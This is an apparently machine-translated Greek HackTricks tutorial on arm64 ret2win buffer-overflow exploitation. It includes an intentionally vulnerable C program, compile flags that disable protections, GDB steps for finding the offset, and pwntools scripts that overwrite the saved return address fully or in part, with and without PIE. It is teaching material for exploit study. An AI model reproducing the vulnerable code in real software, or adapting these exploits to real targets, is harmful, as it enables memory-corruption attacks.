# Ret2win - arm64 {{#include ../../../banners/hacktricks-training.md}} Βρείτε μια εισαγωγή στο arm64 στο: {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}} ## Code ```c #include #include void win() { printf("Congratulations!\n"); } void vulnerable_function() { char buffer[64]; read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability } int main() { vulnerable_function(); return 0; } ``` Συγκέντρωση χωρίς pie και canary: ```bash clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie ``` ## Εύρεση της απόκλισης ### Επιλογή προτύπου Αυτό το παράδειγμα δημιουργήθηκε χρησιμοποιώντας [**GEF**](https://github.com/bata24/gef): Εκκινήστε το gdb με το gef, δημιουργήστε ένα πρότυπο και χρησιμοποιήστε το: ```bash gdb -q ./ret2win pattern create 200 run ```
Η arm64 θα προσπαθήσει να επιστρέψει στη διεύθυνση που είναι στο μητρώο x30 (το οποίο έχει παραβιαστεί), μπορούμε να το χρησιμοποιήσουμε για να βρούμε την απόσταση του μοτίβου: ```bash pattern search $x30 ```
**Η απόσταση είναι 72 (9x48).** ### Επιλογή απόστασης στοίβας Ξεκινήστε αποκτώντας τη διεύθυνση της στοίβας όπου αποθηκεύεται το pc register: ```bash gdb -q ./ret2win b *vulnerable_function + 0xc run info frame ```
Τώρα ορίστε ένα breakpoint μετά το `read()` και συνεχίστε μέχρι να εκτελεστεί το `read()` και ορίστε ένα μοτίβο όπως 13371337: ``` b *vulnerable_function+28 c ```
Βρείτε πού αποθηκεύεται αυτό το μοτίβο στη μνήμη:
Τότε: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
## Χωρίς PIE ### Κανονικό Αποκτήστε τη διεύθυνση της **`win`** συνάρτησης: ```bash objdump -d ret2win | grep win ret2win: file format elf64-littleaarch64 00000000004006c4 : ``` Εκμετάλλευση: ```python from pwn import * # Configuration binary_name = './ret2win' p = process(binary_name) # Prepare the payload offset = 72 ret2win_addr = p64(0x00000000004006c4) payload = b'A' * offset + ret2win_addr # Send the payload p.send(payload) # Check response print(p.recvline()) p.close() ```
### Off-by-1 Στην πραγματικότητα, αυτό θα είναι περισσότερο σαν off-by-2 στην αποθηκευμένη διεύθυνση PC στη στοίβα. Αντί να αντικαταστήσουμε όλες τις διευθύνσεις επιστροφής, θα αντικαταστήσουμε **μόνο τα τελευταία 2 bytes** με `0x06c4`. ```python from pwn import * # Configuration binary_name = './ret2win' p = process(binary_name) # Prepare the payload offset = 72 ret2win_addr = p16(0x06c4) payload = b'A' * offset + ret2win_addr # Send the payload p.send(payload) # Check response print(p.recvline()) p.close() ```
Μπορείτε να βρείτε ένα άλλο παράδειγμα off-by-one σε ARM64 στο [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), το οποίο είναι μια πραγματική off-by-**one** σε μια φανταστική ευπάθεια. ## Με PIE > [!TIP] > Συγκεντρώστε το δυαδικό **χωρίς το επιχείρημα `-no-pie`** ### Off-by-2 Χωρίς μια διαρροή δεν γνωρίζουμε τη ακριβή διεύθυνση της νικηφόρας συνάρτησης, αλλά μπορούμε να γνωρίζουμε την απόσταση της συνάρτησης από το δυαδικό και γνωρίζοντας ότι η διεύθυνση επιστροφής που αντικαθιστούμε δείχνει ήδη σε μια κοντινή διεύθυνση, είναι δυνατό να διαρρεύσουμε την απόσταση στη συνάρτηση win (**0x7d4**) σε αυτή την περίπτωση και απλά να χρησιμοποιήσουμε αυτή την απόσταση:
```python from pwn import * # Configuration binary_name = './ret2win' p = process(binary_name) # Prepare the payload offset = 72 ret2win_addr = p16(0x07d4) payload = b'A' * offset + ret2win_addr # Send the payload p.send(payload) # Check response print(p.recvline()) p.close() ``` {{#include ../../../banners/hacktricks-training.md}}